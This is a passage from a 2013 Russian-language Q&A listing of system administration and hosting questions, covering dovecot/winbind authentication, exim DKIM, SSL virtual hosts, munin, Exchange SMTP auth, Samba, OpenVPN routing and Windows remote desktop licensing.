Jul 26 12:31:29 actionlist auth: pam_winbind(dovecot:auth): getting password (0x00000388)
Jul 26 12:31:29 actionlist auth: pam_winbind(dovecot:auth): pam_get_item returned a password
Jul 26 12:31:29 actionlist auth: pam_winbind(dovecot:auth): request wbcLogonUser failed: WBC_ERR_AUTH_ERROR, PAM error: PAM_USER_UNKNOWN (10), NTSTATUS: NT_STATUS_NO_SUCH_USER, Error message was: No such user

Настройки dovecont

# 2.0.19: /etc/dovecot/dovecot.conf
# OS: Linux 3.0.0-16-generic-pae i686 Ubuntu 12.04 LTS
auth_mechanisms = plain login
auth_username_format = %Ln
disable_plaintext_auth = no
first_valid_gid = 0
first_valid_uid = 0
mail_location = maildir:~/Maildir
managesieve_notify_capability = mailto
managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave
passdb {
driver = pam
}
plugin {
sieve = ~/.dovecot.sieve
sieve_dir = ~/sieve
}
protocols = imap pop3 sieve
service auth {
unix_listener /var/spool/postfix/private/dovecot-auth {
group = postfix
mode = 0660
user = postfix
}
}
ssl_cert =
 

2013.07.26, 15:22:19   #Хостинг - #44098


Добрый день товарищи.

Ищу сервис\хостинг\cdn для tif файлов.

Смысл в том что хотелось бы отправить файл на CDN, а он бы мне вернул превьюхи и параметры изображения (хотябы просто размеры). Ну и естественно скачать файл можно было бы.

Трафик будет не большой — этот сервис, чтобы дизайнеры макеты для печати могли отправлять через CRM в производство.
 

2013.07.27, 15:58:47   #Хостинг - #44128


Полгода назад купил относительно дорогой домен в зоне .io, делегировал в Scalaxy, который печально закроется на днях.
Требуется делегировать домен в Route 53 и перенести простенький сайт. Но не могу, чёрт возьми, найти где его регистрировал. Ни reg.ru, ни nic.ru, ни matername, ни jino — ни в одной из админок нет моего домена.
dig NS и Whois говорит: По данным WHOIS.NIC.IO: Domain reserved

Что делать? Хабр, помоги, умоляю!
 

2013.07.27, 22:11:17   #Системное администрирование - #44148


Всем привет!

Предположим есть сервер который подключен одним интерфейсом 1GE к коммутатору. Также к этому коммутатору подключено хранилище, у хранилища два контроллера, с каждого контроллера в коммутатор по одному 1GE линку.

Получается что сервер может увидеть хранилище по IP адресу одного из контроллеров. Протокол доступа — iSCSI.
Платформа виртуализации — XEN Server 6.2.

Вопрос. Будет ли работать в такой схеме хотя бы active-passive балансировка между контроллерами? Понятно что multipath технически не получится, но интересно какой максимум можно вытянуть из такой ситуации?

Спасибо!
 

2013.07.28, 00:41:19   #ISPmanager - #44154


1. Не работает DKIM.
2. Разные заголовки при отправке через PHP и ISPManager webmail.

exim.con то что менялfbegin transports
DKIM_DOMAIN = ${lc:${domain:$h_from:}}
DKIM_FILE = /etc/exim/dkim/${lc:${domain:$h_from:}}.pem
DKIM_PRIVATE_KEY = ${if exists{DKIM_FILE}{DKIM_FILE}{0}}
remote_smtp:
driver = smtp

.ifdef DKIM_ENABLE
dkim_domain = DKIM_DOMAIN
dkim_selector = mail
dkim_private_key = DKIM_PRIVATE_KEY
dkim_canon = relaxed
dkim_strict = 0
.endif
 

2013.07.29, 13:04:10   #Системное администрирование - #44212


Есть два Ubuntu VPS Server-a с установленными NodeJS и MongoDB (на разных серверах). Хочу внедрить их мониторинг в real-time. Хочется собирать статистику по cpu, memory usage, среднее время обработки запроса, статистику по MongoDB и т.д, а также со своей custom статистикой (например количество ошибок), и показывать на клиент такие графики: s13.postimg.org/yikered1j/graph.png

Раньше ничего подобного не делал, хотел бы у Вас узнать с помощью каких утилит лучше всего это сделать и желательно с подробными инструкциями по настройке.

Главная задача это мониторинг статистики на клиенте.
 

2013.07.29, 15:30:15   #Системное администрирование - #44228


В связи с разработкой некого сервиса появилась необходимость использования защищенного соединения для нескольких проектов. На сервере только одни выделенный IP.

Можно ли как-то использовать несколько сайтов с ssl на одном IP?

Из того что нашел в интернете:

— name-based vhosts (apache + mod_gnutls) ( _www.g-loaded.eu/2007/08/10/ssl-enabled-name-based-... )

— SSL with Virtual Hosts Using SNI (apache) ( _wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI ), SNI (nginx) ( _itbuben.org/blog/Unix-way/1621.html )

— ip-based vhosts (apache) ( _www.ibm.com/developerworks/ru/library/wa-multissl/... ) (не до конца понял принцип работы, как сервер определит на кокой внутренний ip отправить)


В принципе использование SNI подойдет, полная поддержка браузерами (старыми) не столь актуальна и важна мне. Но не понял как именно поведет себя браузер в таком случае?

Есть еще какие-то варианты настройки нескольких ssl на одном ip?

Какие варианты вы использовали или можете рекомендовать?
 

2013.07.29, 15:36:34   #Системное администрирование - #44230


Дано: Nginx 1.4.1, PHP-FPM 5.3.27
При возникновении в PHP фатальной ошибки вебсервер возвращает текст ошибки и код 200.

Окей, прописываем в nginx по советам лучших собаководов:
fastcgi_catch_stderr «PHP Fatal error:»;

Теперь при фатальной ошибке возвращается код 502 Bad Gateway, но на этот раз текста ошибки нет.

Нужно: возвращать ошибочный код и выводить саму ошибку в браузер, как это делает апач. Если вдобавок можно будет сменить код 502 на что-то более вменяемое, будет совсем хорошо.
 

2013.07.30, 11:20:01   #Системное администрирование - #44270


Здравствуйте!
Есть пользователь, который рассылает свои письма своим получателям в большом количестве со своего сервера. Сейчас это все крутится на mailman, а рассылается при помощи exim на сервере FreeBSD.
У пользователя есть желание сменить mailman на что-то проще и современней.
Порекомендуйте пожалуйста для freebsd + exim софт для рассылок современный и интуитивно понятный, желательно на русском и бесплатно.
majordomo стар, minimalist тоже не поддерживается… несколько еще посмотрел — не впечатлили… :(
Спасибо.
 

2013.07.30, 20:27:09   #Системное администрирование - #44298


Достался мне в поддержку SBS 2011. Его недавно мигрировали из 2003 сервера. Причем тот кто это делал, сделал это криво. Основные системы работают (AD, Exchange, RWW)

Однако сама консоль показывает prntscr.com/1ieni0 вот такое дело. Также в AD отсутствуют sec группы и нужные SBS аккаунты. В IIS нету половины сайтов.

Сервер УЖЕ был запущен в таком виде в продакшн, так что с нуля его не пересобрать.


Вопрос. Возможно ли переустановить эти приложения? Какие другие варианты решения?
 

2013.07.31, 09:17:43   #Хостинг - #44320


День добрый всем!
Возникла проблема, что 26.07 регистратор hc.ru без всяких причин сбросил настройки всех записей для домена (A, Mx, Cname)
Так как меня не было около компьютера, проблема была выявлена только 28-го. Я зашел в панел ХЦ, а домен и нельзя вовсе редактировать — вообще серое окно без каких либо признаком редактирования зона. Я написал в саппорт hc.ru и зону восстановили.
Можно ли требовать от hc какой либо компенсации и если да, то каким образом и какой?
 

2013.07.31, 10:41:43   #Системное администрирование - #44330


Ситуация следующая — имеется некоторый провайдер, который выдает только «серые» адреса. У клиента есть своя сетка, в которой работает NAS, несколько компьютеров, планшеты и т.п.

Требуется изредка каким-то образом подключаться к этой сетке для администрирования.

Понятно, если был бы «белый» адрес — можно было бы пробросить необходимые порты, поднять VPN-сервер на хранилище и т.п., а как быть с «серым» адресом?

Клиент в IT разбирается откровенно плохо, а находится далеко (т.е. вариант «подъехать» связан с авиаперелетом).

Подскажите, как можно осуществлять администрирование такой «недоступной» сетки?
 

2013.07.31, 12:17:47   #Серверы - #44338


Очень хочется купить «сервер» на базе Q87 — там есть vPro + Intel ATM — т.е. встроенный KVM — что может позволить сэкономить пару тысяч на квмпроводах и самом IPKVM.
Но, к серверу предъявляются большие требования по работе с подсистемой памяти, т.е. подразумевается разгон.

Вопрос — можно ли на этой логике осуществлять разгон? Большинство сайтов-производителей материнских плат говорят что до 1600 ДДР3 поддерживается. В биосе просто нет функций? Или не афишируется?

И еще минивопрос — vPro + AMT как-то влияют на производительность процессора? Хотя бы на 0.5%?
 

2013.07.31, 20:44:37   #Системное администрирование - #44384


Здравствуйте.


Подскажите, пожалуйста, какие проблемы могут возникнуть при отключении админских шар (admin$, c$, d$ etc (кроме IPC$)) на клиентских компьютерах в домене (AD на Windows 2008 R2, клиенты — XP SP3 или 7 SP1)?


В частности, как будет вести себя установка ПО через GPO, будут ли иные проблемы?


KB на сайте MS видел, но хотелось бы дополнительной информации от тех, кто такое уже делал.


В дополнение к админским шарам хочу на клиентах принудительно отключать службу удаленного реестра.
 

2013.08.01, 11:42:20   #Системное администрирование - #44422


Доброе время суток.
Столкнулся с казалось бы тривиальной задачей. Необходимо подготовить определенное кол-во ноутбуков для пользователей. Поставить комплект ПО и настроить соответствующим образом. Есть чек лист по софту. Ставить на каждый ноут по отдельности неоправданная трата времени. Раньше решалось просто разливкой образа с предустановленным ПО. Сейчас ноуты покупаются в комплекте с лицензионной ОС, переустановка которой невозможна введу лицензирования. Еще есть вариант использования SCCM, но тоже займет время развернуть сервер, настроить должным образом и т.к. Этот вариант не целесообразен введу кол-ва ноутов (не больше 30). Соответственно остается только использовать софт, который сможет разливаться собранный и настроенный пакет ПО автоматически. Поиске в гугле привели к 2 программа:
1. AutoIt (необходимо изучение синтаксиса)
2. LazySetupCD (не поддерживается уже давно. последняя сборка не идет на сbстемах выше XP)
Установка при использовании ключей и командных файлов далека от универсальности. Не любой софт можно поставить таким методом, а уж настроить и подавно.
Может кто-то уже сталкивался с такой проблемой?
Посоветуйте альтернативный софт или решение.
Заранее спасибо!
 

2013.08.01, 21:35:06   #Серверы - #44444


Существует множество прокси-серверов для обеспечения какой-никакой анонимности в интернете для клиентских машин. Существуют ли готовые решения, чтобы скрыть реальный IP адрес сервера в сети? Первое, что приходит в голову, это написать на PHP простой прокси, и разместить это всё на бесплатном хостинге. Однако таким образом получится перенаправлять только http трафик, а хотелось бы весь. Кто видит возможные решения? Желательно бесплатно.
 

2013.08.02, 17:22:17   #Системное администрирование - #44498


Приветствую, встал у меня такой вопрос: какой формат конфигурации наиболее удобен администратору для ручного редактирования (ну, или просто пример софта с «идеальным» конфигом). Раньше я пользовался nginx/bind подобным вариантом:

section {
param = value;
subsection {
...
};
};


Потом взбрело в голову сделать xml конфигурацию для предполагаемого веб-интерфейса, который в итоге этот xml даже не читает (используя ограниченный набор опций, организуемый через json файл).

Поэтому у меня возникло сильное желание снова перейти на удобный формат для редактирования человеком. Единственное, что я не понимаю, это как удобно организовать «именнованные» секции. В xml это выглядит так:
value


Но пока мыслей, как это сделать в секционной конфигурации, у меня пока нет.
 

2013.08.04, 12:25:12   #Системное администрирование - #44550


Продую использовать munin для мониторинга своих серверов. Настроил все как надо и получаю вот такие красивые графики:

Есть несколько вопросов, которые я бы хотел с Вами обсудить:

1. Графики по дефолту показывают статистику за день, неделю, месяц, год. Как сделать график по часам, минутам?
2. Опять же по дефолту обновление графиков происходит по интервалу раз в 5 минут, можно ли уменьшить этот интервал скажем до 1 мин. насколько это отразится на производительности munin,

Спасибо за ответы.
 

2013.08.04, 22:41:48   #Системное администрирование - #44574


Оранжевый чувак, который на хабре раздает сервера дал понять, что во многих областях люди нуждаются в железе на полезные цели, но по тем или иным причинам не могут себе этого позволить.

Как мне кажется, есть не меньше мест и организаций(некоммерческих), где нужна помощь ИТ специалиста или студента готового учиться на реальных задачах. Это может быть больница, библиотека, научный институт или просто группа людей занимающихся полезным и нужным делом (например группа исследователей, которым нужна помощь системного администратора для настройки небольшой инфраструктуры для их исследований)

Хотелось бы услышать ваше мнение по двум вопросам:
1. Хотели бы вы помочь какому-либо проекту (школе, библиотеке, институту и т.д.) безвозмездно, но с возможностью учиться на реальных задачах (удаленно)

2. Сталкивались ли вы в жизни с ситуациями, когда требовалась помощь программиста или администратора людям и организациям, делающим хорошее дело, но которые не могут себе позволить нанять специалиста?

Я делаю сайт(некоммерческий), чтобы специалисты готовые помочь (удаленно) могли бы найти тех, кому их помощь нужна и наоборот.

Ваши мысли приветствуются
 

2013.08.05, 23:06:12   #Системное администрирование - #44632


В предыдущем вопросе по munin мне посоветовали использовать CGI и обновить munin до версии 2, поскольку меня интересовало масштабирование графиков за любой период времени, а не только за день/неделя/месяц.

Собственно настроил по официальному мануалу, все работает и графики показывают то, что нужно:



Теперь у меня следующая проблема, как я правильно понял, то смотреть график, в таком представлении как на скриншоте, можно только в одном экземпляре на странице в браузере. Причем если выбрал маленький интервал (например минуту), то чтобы постоянно за ним наблюдать, нужно обновлять страницу. Отсюда несколько вопросов:

1. Можно ли настроить свой dashboard, в котором будут перечислены только те графики, которые я сам выберу (на одной странице)?
2. Можно ли настроить автоматическое обновление графиков на странице через указанный интервал?
 

2013.08.06, 09:31:53   #Системное администрирование - #44644


Здравствуйте, друзья.
Прошу помощи у специалистов по MS Exchange 2007.

Такое дело: пытаюсь создать соединитель отправки, через который смогу посылать письма из командной строки, телнетом. Перепробовал все варианты — ничего не получается :( Какие бы способы проверки подлинности не указывал, неизменно возвращается такая ошибка:
# telnet mx.domain.local 250 Trying 192.168.1.3... Connected to mx.domain.local. Escape character is '^]'. 220 mx.domain.local Microsoft ESMTP MAIL Service ready at Tue, 6 Aug 2013 13:10:10 +0700 EHLO 250-mx.domain.local Hello [192.168.1.7] 250-SIZE 10485760 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-AUTH LOGIN 250-8BITMIME 250-BINARYMIME 250 CHUNKING AUTH LOGIN 334 VXNlcm5hbWU6 bm90aWZpZXI= 334 UGFzc3dvcmQ6 bm90aWZpZXI= 535 5.7.3 Authentication unsuccessful QUIT 221 2.0.0 Service closing transmission channel Connection closed by foreign host.

В общем не проходит аутентификация. Пользователь конечно создан, логин/пароль передаю, как видите, в base64 (notifier/notifier) Уже всю голову сломал. Помогите советом :(
 

2013.08.06, 10:32:22   #Системное администрирование - #44648


Привет, хабралюди.

Столкнулся тут с одной задачей и не знаю есть ли для неё решение. Суть такова.


Есть несколько сотен устройств (что-то типа датчика, с ОС Линукс на борту), которые подключены к Интернету через сотовую сеть. Все устройства подключаются туннелем к серверу в Интернете, сервер имеет 1 реальный IP. При подключении к серверу устройству выдается внутренний IP и имя вида deviceID.mydomain.com. Вопрос. Возможно ли в данной ситуации как-то настроить сервер, чтобы он при обращении по ssh на доменое имя редиректил на внутренний IP устройства? Т.е. чтобы ssh соединение устанавливалось напрямую между пк администратора и устройством.
 

2013.08.06, 13:03:25   #Серверы - #44662


Есть несколько «серверов» базирующихся на обычных десктопных платах.

Очень хочется управлять питанием / перезагрузкой этих систем.


Из вариантов и идей возник вопрос:


А существуют ли IP KVM, у которых есть модуль, подключающийся к гребенке кнопочек power, reset, power led, hdd led на материнской плате, тем самым получая возможность управлять этими кнопочками?


Если да — то какой?


Буду рад даже подсказкам по каким ключевым словам искать вопрошаемое :)
 

2013.08.06, 15:15:11   #Хостинг - #44666


Есть потребность демонстрировать пользователям то как выполняется их клиентское приложение (вывод различных debug-сообщений и прочий).


Например, запускаем в отдельном screen-е приложение пользователя. Теперь необходимо на сайте показывать пользователю всё что творится в запущенном для его приложения screen-е. Взаимодействие со screen-ом на данный момент не обязательно (хотя в перспективе вероятно понадобится).


Как и какими средствами это можно сделать?
 

2013.08.07, 23:49:56   #Серверы - #44764


Клиент принес Виндовс сервер 2003, с зашифрованными данными (базы и документы) трояном. Без кормежки вредителей расшифровать невозможно.

Теперь собственно появился вопрос как делать резервирование если простой бэкап на внешний жесткий диск не подходит (если конечно же его не отключать каждый раз.) а в резервировании в бесплатное облако не хватает знаний.
 

2013.08.08, 15:00:57   #Серверы - #44812


Немного воды
По роду деятельности ui дизайнер и мне постоянно нужно иметь с работы доступ к своей библиотеке и личным проектам, сейчас приходится постоянно держать домашний комп включенным и в случае необходимости забирать с него файлы. Решился организовать дома сервер — торрентокачалку и по совместительству nas, железо довольно простое на базе ASUS C60M1-I в коробке Chenbro ES34069, по системе планирую ubuntu 12 server.

В общем я хочу что бы
с домашнего компа (w7) проекты, библиотека (клипарты, шрифты, и прочий дизайнерский стафф) лились на сервер с рабочего компа (w7) проекты лились на сервер и на домашний комп можно было зайти на сервер через веб-интерфейс и пошарится по бибилиотеке и личным проектам и скачать нужное ну или наоборот залить. Тут как я понимаю нужно что-то такое ajaxplorer.info/
По типу файлов это в основном psd, размером в среднем 80мб, общий размер на текущий момент 100гб.

Учитывая мою специфику (большое количество больших по размеру файлов), которые практически никогда не будут в конфликте (тк я единственный пользователь), довольно редко меняются (в основном добавляются), что лучше выбрать из имеющихся решений?

Спасибо.
 

2013.08.08, 18:30:45   #Системное администрирование - #44834


Есть несколько серверов с Ubuntu Server, с которых я хочу просматривать как архивные логи, так и логи в реальном времени через браузер. Ну т.е нужно решение типа: поставил агенты на серверах, за которыми нужно смотреть, выделить отдельный сервер для сбора статистики со всех агентов, заходить на этот сервер через веб-интерфейс и просматривать тоги в текущем времени и выкачивать логи определенной времени давности (если возможно, то и их тоже просматривать прямо в браузере).

Существуют ли подобные утилиты?
 

2013.08.09, 12:24:57   #Системное администрирование - #44876


Коллеги, а посоветуйте правильный софт, а еще лучше человека-гуру в настройке чат (IRC ?) сервера, например UnrealIRCd. Нужна консультация +работа по развертыванию и настройке. Ищу для онлайн игры, над которой сейчас работаю — www.startowns.ru. В данный момент стоит OpenFire + jQuery.xmpp и это просто адский ад, хотим забыть как страшный сон. Нужно out of the box решение с удобной настройкой модели авторизации и готовыми AJAX и stand-alone клиентами (поэтому и смотрели в сторону xmpp и IRC). Советы написать велосипед на Node.js не принимаются :)
 

2013.08.10, 10:31:29   #Серверы - #44916


Привет коллеги!
Саппорт хетцнеров видимо в выходном… Решил прикупить сервер на аукционе. Но возникли два вопроса:
1) что значит Operating system: Delivered in Rescue System?
2) Где находятся сервера? т.е. кто является владельцем? Хетцнеры, или они перепродают?

Заранее спасибо за ответы!
 

2013.08.10, 23:40:06   #Системное администрирование - #44934


Всем доброй ночи,

Давно мучает вопрос, чем осуществляют мониторинг большого количества серверов ( >50 ) специалисты с Хабра, прошу поделиться опытом.
У себя используем систему мониторинга WhatsUp и PRTG, самописные скрипты, SNMP и.т.д. все это несомненно удобно, но… упускается много других проблемных зон, связанных с проблемами по железу, например вылетевший блок питания, или же проблема с одним из винтов на HW Raid, это безусловно можно привязать на мониторинг по скриптам и.т.д. но это слишком коряво(в принципе так сейчас и работает), так как разные ОС, разные железки.
Как бы Вы все это централизовали?
 

2013.08.12, 10:55:44   #Системное администрирование - #44978


Есть сервер, который постоянно атакуют. Пользуемся услугами разных AntiDDoS сервисов, которые пропускают трафик через себя. Но есть проблема: реальный IP сервера попадает в заголовки отправляемых писем, т. е. атакующие могут бить напрямую. Пытались отправлять почту через внешние сервисы (sendgrid и т. д.), но все они добавляют IP сервера в заголовки. Есть ли способ скрыть IP?
 

2013.08.12, 16:14:55   #Системное администрирование - #44998


Здравствуйте. Появилась одна проблема — раз в сутки на сервере сильно поднимается нагрузка.

Т.к. это повторяется в одно и тоже время — подозрение падает естественно на задачи, запускаемые cron'ом. Задача — отследить что именно создаёт большую нагрузку, дабы это оптимизировать.

Т.к. задач в кроне у нас достаточно много, скрипты запускаются разные, добавлять какую-то свою систему логирования будет достаточно долго, хочется добавить что-то в течение пары часов, чтобы уже сегодня отследить, а завтра начать исправлять.


Возможно есть какая-то система логирования, которая хотябы сможет логировать всё, что запускается по крону и в идеале как-то совмещать это с отображением нагрузки по задачам? Или возможно у кого-то есть другие идеи?


Заранее спасибо.
 

2013.08.14, 18:06:07   #Системное администрирование - #45104


Есть фрагмент bash скрипта, в котором выполняется следующее

/usr/bin/mysqldump -u dbuser -p"userpass" database > db.sql

Если запускаем команду с консоли, то видим ошибки при создании дампа, если они есть.

Как в bash-скрипте перенаправить вывод ошибок в ходе выполнения дампа в файл?
Чтобы, к примеру, в файл /tmp/log сохранялось то, что бы мы видели, если бы запустили команду с консоли.

/usr/bin/mysqldump -u dbuser -p"userpass" database > db.sql > /tmp/log

Если так задаём, то в /tmp/log попадает то же самое, что и в db.sql, — sql-запрос, а нужно, чтобы попадали логи ошибок mysqldump.
Буду признателен любым советам.
 

2013.08.15, 16:43:42   #Серверы - #45170


Есть недешевая серверная плата с двумя процессорами и GPU для счёта. К сожалению, в корпус, который был куплен в комплекте, она не влезает из-за слишком больших кулеров.


Вопрос: безопасно ли размещать работающий под полной нагрузкой (100% всех ядер CPU и 100% GPU) на пенопласте из под монитора?
 

2013.08.19, 10:35:42   #Системное администрирование - #45348


Добрый день
Недавно в нашей компании встал вопрос лицензированного сервера, всё закуплено, установлено но появилась следующая беда.

На сервере установлена 1С и все к компу должны подключатся удалённо.
Установлена роль «Службы удаленных рабочих столов»
Всё классно, работает, все подключаются.

Но встал вопрос лицензирования удалённых рабочих столов что бы не было вопросов в случаи проверок.
Установлен «Диспетчер лицензирования удалённых рабочих столов»
Активирован, запускается мастер установки лицензии и требует указания лицензирования, вот тут та и вся загвоздка.
Версия сервера включает в себя 5 клиентских подключения
Windows Server Standard 2008 R2 SP1 x64 Russian 1-4CPU 5 Clt DVD OEM

Собственно вопрос — как правильно активировать?
И правильно ли я понял что 5 клиентских лицензий могут подойти для данных потребностей?
 

2013.08.19, 12:19:01   #Хостинг - #45354


Всем доброго времени суток, возникла такая вот интересная юридическая дилемма, очень интересно услышать мнение хабравчан по этому вопросу (особенно «причастных»).
Некая «сферическая в вакууме» организация, сдает в аренду выделенные сервера (в простонародье — «дедики» так их дальше и будем назвать), так вот дедики он сдает в аренду не только как «железяку», но и предоставляет в ту же аренду некоторое программное обеспечение, в частности операционные системы Microsoft семейства Windows Server 2008 R2, а так же в довесок, всё в ту же аренду предлагает и лицензии сервера терминалов.
Что же касается роли сервера терминалов, то наверное многим (кто не с Марса, другой галактики, параллельного POSIX измерения — нужное подчеркнуть), то Microsoft любезно предоставляет 120 дней триального использования, им самим, для пущей важности, названного «период отсрочки Лицензирования служб терминалов» оный доступен в системе пока не активируют сервер лицензирования.
Так вот некая «сферическая в вакууме» организация, судя по всему не хочет давать возможность своим клиентам воспользоваться халявой пользовательским правом, предустанавливая ОС с уже активированным сервером лицензирования (пустым).
(Судя по всему, мы еще ничего не арендовали, вот только думаем, рассматриваем варианты — переговоры по этой теме ведут крайне вяло, оно и понятно почему)
И все же, как Вы думаете (а может быть даже точно знаете) Dura Lex распорядился бы поступить? можно ли сославшись на некий документ понудить некую сферическую в вакууме организацию, или же я не прав и должен быть предан огню копирайта

PS: Есть у них «Условия использования программного обеспечения MICROSOFT» уверяю Вас там об этом ни слова, попытки выгуглить какие либо ограничения для ОС сдаваемой в аренду тоже ничего особенного не принесли.
 

2013.08.19, 15:49:17   #Системное администрирование - #45370


Есть 2 офиса. В совокупности около 30 компьютеров. На части компьютеров Windows (XP, 7, 8), На других Ubuntu.

Нужно заблокировать сотрудникам все сайты, кроме избранного списка. Как это проще всего и дешевле всего сделать?

Когда был один офис я пользовался UserGate. Но сейчас мы от него отказались и серверов в офисах у нас нет, через которые трафик идет в инет.

Подскажите варианты решения.

P.S. Причем на нескольких компьютерах доступ должен быть ко всем ресурсам интернета. Вот такая задачка.
 

2013.08.20, 18:54:51   #Системное администрирование - #45450


Как я понял из статей раз и два, многое поменялось.


Как я понимаю, бэкапить теперь нужно весь том с нужными хранилищами? Есть какой-то более подробный мануал по этой теме?
 

2013.08.21, 10:58:18   #Системное администрирование - #45470


Коллеги, доброго времени суток!


Есть ли возможность создать аналог корзины на сетевом диске для пользователей? Либо помещать все удаленные данные в такую корзину, доступную только для системного администратора? Цель — оперативное восстановление удаленных данных.


Я нашел пару программных продуктов:

www.condusiv.com/business/undelete/professional
www.1securitycenter.com/network_recycle_bin.html


Если кто-то пользуется чем-то подобным, поделитесь, пожалуйста, впечатлениями.
 

2013.08.21, 18:18:53   #Системное администрирование - #45502


Система ArchLinux, имеется минимальный конфиг:
[server@dga-serv ~]$ cat /etc/samba/smb.conf [global] workgroup = WORKGROUP security = user [Pomoika] path = /mnt/p1/ guest ok = yes read only = No

проверяем конфиг:
[server@dga-serv ~]$ testparm -s /etc/samba/smb.conf Load smb config files from /etc/samba/smb.conf rlimit_max: increasing rlimit_max (1024) to minimum Windows limit (16384) Processing section "[Pomoika]" Loaded services file OK. Server role: ROLE_STANDALONE [global] idmap config * : backend = tdb [Pomoika] path = /mnt/p1/ read only = No guest ok = Yes

запускаем:
sudo systemctl start smbd nmbd

проверяем:

[server@dga-serv ~]$ ps -ef | grep smbd root 1485 1 0 17:38 ? 00:00:00 /usr/bin/smbd -D root 1488 1485 0 17:38 ? 00:00:00 /usr/bin/smbd -D server 1616 1150 0 17:58 pts/0 00:00:00 grep smbd [server@dga-serv ~]$ ps -ef | grep nmbd root 1483 1 0 17:38 ? 00:00:00 /usr/bin/nmbd -D server 1628 1150 0 17:59 pts/0 00:00:00 grep nmbd Проверяем Samba: [server@dga-serv ~]$ smbclient -L localhost -U% protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
 

2013.08.22, 00:47:16   #Хостинг - #45518


Странно, что такой функционал предлагает только Vimeo — оно может брать видео из привязанного Dropbox-аккаунта. Но Vimeo — тормозной и глючный.
Например. сижу на даче, только 3G — то есть upload никакой. Снял видео — держать сутками включённым комп, да ещё и с открытой страницей заливки на видеохостинг — не вариант. В то же время, папка Dropbox (Я.Диск/G.Drive/ и т.п.) когда-нибудь, да синхронизируется. Так вот как из облака передать файл на видеохостинг?
 

2013.08.22, 13:15:02   #Серверы - #45540


Ситуация: 1U сервер работал стабильно, последний раз перезагружал ОС более 7 мес назад. Недавно сервер из одной стойки переехал на новую, вроде ерунда, но через неделю работы на новом месте пропал из видимости.

Забрал, пытаюсь запустить дома но вижу такую картину:
1. в момент включения «Power On» ни каких индикаций на передней панели, раньше старт сервера сопровождался миганием индикаторов на хот-свопах и на CD приводе, и все это происходило на фоне запуска 4 кулеров в MAX режиме.
Сейчас было тихо и единственное что слышно — кулер блока питания. На монитор сигнал не поступает, харды молчат.

Заменил материнскую плату, в итоге получил:
1. при включении сервера — нет индикации на лицевой панели (только горит лампочка power)
2. спустя несколько секунд запускаются все кулеры
3. нет сигнала на мониторе (видюха интегрированная)

Мои действия:
1. отсоединил все от материнки
2. снял батарею, через 10 мин вернул на место
3. вернул процессор на свое место, включил сервер (мать+проц+блок питания+монитор) изменений нет

Что хотел бы:
1. при включении слышать один бип с платы и плавный запуск сервера
2. через секунду после старта (как обычно) сигнал на монитор с последующем изучением BIOS
3. запуститься в штатном режиме хотя бы без планок памяти

Проверки:
1. монитор рабочий (подключал к ноуту, все ок)
2. память убрал для теста, да и в ней нет причины
3. блок питания рабочий
4. обнулял все, снимая батарейку с материнки
5. харды отключил от материнки
6. на корпус не пробивает
7. новую материнскую плату два дня назад доставили из штатов (да и на старой похоже все ок)

Ай Нид Хелп!
Коллеги, как быть, что еще нужно было сделать?
Может что упустил? Какие мысли, или есть решение по похожему кейсу?

p.s. раньше все работало как часы (в этой же комплектации с 2009 года)
 

2013.08.25, 14:14:52   #Системное администрирование - #45666


Описание задачи:
На одной машине поднят OpenVPN-сервер и OpenVPN-клиент.
Клиент с адресом 10.6.6.12 смотрит в корпоративную сеть и ее подсети (таблица маршрутизации прилагается).
Нужно чтобы любой другой клиент (уже самого сервера) видел эти же подсети.

Данные:
eth0 Link encap:Ethernet HWaddr 00:1c:14:01:2f:84
inet addr:111.111.111.100 Bcast:111.111.111.101 Mask:255.255.255.240
inet6 addr: fe80::21c:14ff:fe01:2f84/64 Scope:Link

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1

tap0 Link encap:Ethernet HWaddr 76:e9:2e:da:18:3c
inet addr:10.6.6.12 Bcast:10.6.6.255 Mask:255.255.255.0
inet6 addr: fe80::74e9:2eff:feda:183c/64 Scope:Link

tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:10.8.0.1 P-t-P:10.8.0.2 Mask:255.255.255.255

10.8.0.2 dev tun0 proto kernel scope link src 10.8.0.1
111.111.111.96/28 via 111.111.111.97 dev eth0
111.111.111.96/28 dev eth0 proto kernel scope link src 111.111.111.100
10.155.10.0/24 via 10.6.6.1 dev tap0
192.168.22.0/24 via 10.6.6.1 dev tap0
192.168.21.0/24 via 10.6.6.1 dev tap0
10.6.6.0/24 dev tap0 proto kernel scope link src 10.6.6.12
10.8.0.0/24 via 10.8.0.2 dev tun0
192.168.33.0/24 via 10.6.6.1 dev tap0
default via 78.46.203.97 dev eth0

Конфиг сервера(оставил только нужное)
dev tun
server 10.8.0.0 255.255.255.0
push «route 10.6.6.0 255.255.255.0»
client-to-client


Проблема:
При подключении клиента на IOS (Ipad) не видны подсети интерфейса tap0 (21.0/24, 10.0/24).
Виден сам интерфейс 10.6.6.12.

Насколько я понимаю, я должен указать клиенту что-то вроде
ip route add 192.168.21.0/24 via 10.6.6.1 dev tap0
но как это сделать с помощью конфига я не понимаю, а на самом паде это сделать невозможно.
Пытался сделать вот так:
push «route 192.168.21.0 255.255.255.0»
push «route-gateway 10.6.6.1»
к результату не привело.

Какие варианты можно использовать?
 

2013.08.27, 11:49:38   #Хостинг - #45772


Приветствую, коллеги!
Прошу совета по настройке IIS для Silverlight-приложения, использующего WCF.
Если проект запустить в Visual Studio для дебага, то все работает. Как вы знаете, VS запускает IIS Express для этих целей. И, если посмотреть, то Silverlight-приложение использует адрес locahost:39408, а WCF — locahost:39429:

Теперь нужно опубликовать сайт в локальной сети. На сервере в IIS создаю новый сайт, указываю путь на папку с Silverlight-приложением, привязываю его к свободному порту. Сайт работает, но Silverlight не находит, где теперь располагается веб-сервис. Сообщение об ошибке (из консоли chrome):
POST localhost:39429/Service2.svc
Uncaught Error: Unhandled Error in Silverlight Application An exception occurred during the operation, making the result invalid. Check InnerException for exception details. at System.ComponentModel.AsyncCompletedEventArgs.RaiseExceptionIfNecessary()
at SilverlightApplication1.ServiceReference1.NumberRowAtLinesCompletedEventArgs.get_Result()
